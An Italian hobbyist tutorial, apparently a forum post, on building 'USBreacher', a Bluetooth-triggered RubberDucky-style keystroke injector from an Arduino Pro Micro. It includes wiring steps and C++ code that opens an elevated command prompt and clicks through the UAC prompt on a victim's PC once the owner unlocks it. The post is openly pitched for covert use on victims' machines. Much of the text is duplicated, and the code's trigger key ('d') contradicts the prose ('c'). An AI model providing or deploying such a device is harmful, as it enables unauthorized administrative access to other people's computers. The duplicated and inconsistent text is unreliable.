Ultima modifica:
La RubberDucky è uno degli strumenti di hacking più potenti ed utilizzati, ma presenta molte scomodità. Questo è ciò che pensai quando ne sentii parlare per la prima volta, ed è così che decisi di costruirne una colmando tutti i gap che ha l'originale. I maggiori difetti di questa, infatti, sono:
1. Può eseguire un solo script alla volta
2. Il programma su di essa parte quando viene inserita nel dispositivo
3. Il dispositivo deve essere sbloccato per eseguire lo script
Così inventai il mio modello di RubberDucky, chiamato USBreacher (gioco di parole tra USB e Breacher), in grado di fare tutto ciò che l'originale modello potesse fare, ma con molto di più. Può essere controllata via Bluetooth, il che è un enorme vantaggio perché basterà inserirla nel PC vittima ed aspettare che il proprietario lo sblocchi per far partire lo script. In più è possibile caricare al suo interno moltissimi programmi diversi, così da avere un toolkit sempre pronto in tasca. Dunque ecco come costruirlo:
Materiali:
Arduino Pro Micro (o replica di esso)
Modulo Bluetooth HC-05
Filo elettrico fine
Stagno da saldatura
Involucro (o stampante 3D)
Cavo USB-Micro USB
IMPORTANTE: La scheda Arduino deve necessariamente montare un microcontrollore AtMega 32U4
Una volta procuratisi tutti i materiali, collegate i pin di Arduino al modulo Bluetooth in questo modo:
Pin Arduino | Pin Modulo
VCC | VCC
GND | GND
8 | RXD
9 | TXD
IMPORTANTE: Se decidete di utilizzare la scheda per trasmettere dati via Bluetooth, assicuratevi di interporre una resistenza sufficiente tra Arduino ed i pin RXD e TXD per non bruciare la scheda. In questo caso però, non la useremo per trasmettere, ma solo per ricevere.
Adesso vi servirà un involucro. Potete utilizzate una comune scatoletta di plastica o legno, ma quello che consiglio è di stamparne una in 3D.
Collegate ora il cavo USB ad Arduino e con l'apposita IDE configurate il modulo Bluetooth. Potete seguire questo video.
Una volta fatto ciò, non vi resta che programmare la scheda Arduino per i vostri scopi. Ecco uno script molto semplice che potrete arricchire con i vostri comandi:
Per controllarlo non vi servirà altro che l'applicazione Serial Bluetooth Terminal, molto comoda e versatile. Vi basterà modificare uno dei tasti esistenti ed assegnarli la lettera corrispondente al comando nel codice sopra. In questo caso, per aprire il CMD, create un tasto con valore "c".
Per arricchire il repertorio di script, vi basterà conoscere qualche base di C++.
Fatene buon uso!
EDIT:
Per poter eseguire script più complessi, scaricare o caricare file o altre operazioni che necessitano di memoria di archiviazione, consiglio di utilizzare un supporto USB esterno, con al suo interno i vari script o file. Per eseguirli sarà sufficiente programmare Arduino in modo da permettergli di accedere al supporto di memoria attraverso il terminale del dispositivo vittima. Ovviamente tutto risulta più comodo con un hub USB a due ingressi, in modo da occupare una sola porta.
1. Può eseguire un solo script alla volta
2. Il programma su di essa parte quando viene inserita nel dispositivo
3. Il dispositivo deve essere sbloccato per eseguire lo script
Così inventai il mio modello di RubberDucky, chiamato USBreacher (gioco di parole tra USB e Breacher), in grado di fare tutto ciò che l'originale modello potesse fare, ma con molto di più. Può essere controllata via Bluetooth, il che è un enorme vantaggio perché basterà inserirla nel PC vittima ed aspettare che il proprietario lo sblocchi per far partire lo script. In più è possibile caricare al suo interno moltissimi programmi diversi, così da avere un toolkit sempre pronto in tasca. Dunque ecco come costruirlo:
Materiali:
Arduino Pro Micro (o replica di esso)
Modulo Bluetooth HC-05
Filo elettrico fine
Stagno da saldatura
Involucro (o stampante 3D)
Cavo USB-Micro USB
IMPORTANTE: La scheda Arduino deve necessariamente montare un microcontrollore AtMega 32U4
Una volta procuratisi tutti i materiali, collegate i pin di Arduino al modulo Bluetooth in questo modo:
Pin Arduino | Pin Modulo
VCC | VCC
GND | GND
8 | RXD
9 | TXD
IMPORTANTE: Se decidete di utilizzare la scheda per trasmettere dati via Bluetooth, assicuratevi di interporre una resistenza sufficiente tra Arduino ed i pin RXD e TXD per non bruciare la scheda. In questo caso però, non la useremo per trasmettere, ma solo per ricevere.
Adesso vi servirà un involucro. Potete utilizzate una comune scatoletta di plastica o legno, ma quello che consiglio è di stamparne una in 3D.
Collegate ora il cavo USB ad Arduino e con l'apposita IDE configurate il modulo Bluetooth. Potete seguire questo video.
Una volta fatto ciò, non vi resta che programmare la scheda Arduino per i vostri scopi. Ecco uno script molto semplice che potrete arricchire con i vostri comandi:
C++:
#include <Keyboard.h>
#include <SoftwareSerial.h>
char ch = 0;
char deb = 0;
////////////////////////////////////////////////////////////////////////////////////////////
void del(int tempo){
delay(tempo);
}
///////////////////////////////////////////////////////////////////////////////////////////
void p(int key)
{
Keyboard.press(key);
del(10);
Keyboard.release(key);
}
SoftwareSerial SSerial(9,8);
//////////////////////////////////////////////////////////////////////////////////////////
void setup() {
Serial.begin(9600);
//while(!Serial) {}
SSerial.begin(9600);
Serial.println("Scheda inizializzata");
}
///////////////////////////////////////////////////////////////////////////////////////////
void cmd(){
Keyboard.begin();
del(500);
p(KEY_LEFT_GUI);
p('r');
del(500);
Keyboard.print("cmd");
del(100);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
del(50);
Keyboard.releaseAll();
del(1000);
p(KEY_LEFT_ARROW);
del(50);
p(KEY_RETURN);
del(500);
Keyboard.releaseAll();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
void loop() {
if (SSerial.available()){
ch = SSerial.read();
if (ch == 'd'){
cmd();
}
}}
Per controllarlo non vi servirà altro che l'applicazione Serial Bluetooth Terminal, molto comoda e versatile. Vi basterà modificare uno dei tasti esistenti ed assegnarli la lettera corrispondente al comando nel codice sopra. In questo caso, per aprire il CMD, create un tasto con valore "c".
Per arricchire il repertorio di script, vi basterà conoscere qualche base di C++.
Fatene buon uso!
EDIT:
Per poter eseguire script più complessi, scaricare o caricare file o altre operazioni che necessitano di memoria di archiviazione, consiglio di utilizzare un supporto USB esterno, con al suo interno i vari script o file. Per eseguirli sarà sufficiente programmare Arduino in modo da permettergli di accedere al supporto di memoria attraverso il terminale del dispositivo vittima. Ovviamente tutto risulta più comodo con un hub USB a due ingressi, in modo da occupare una sola porta.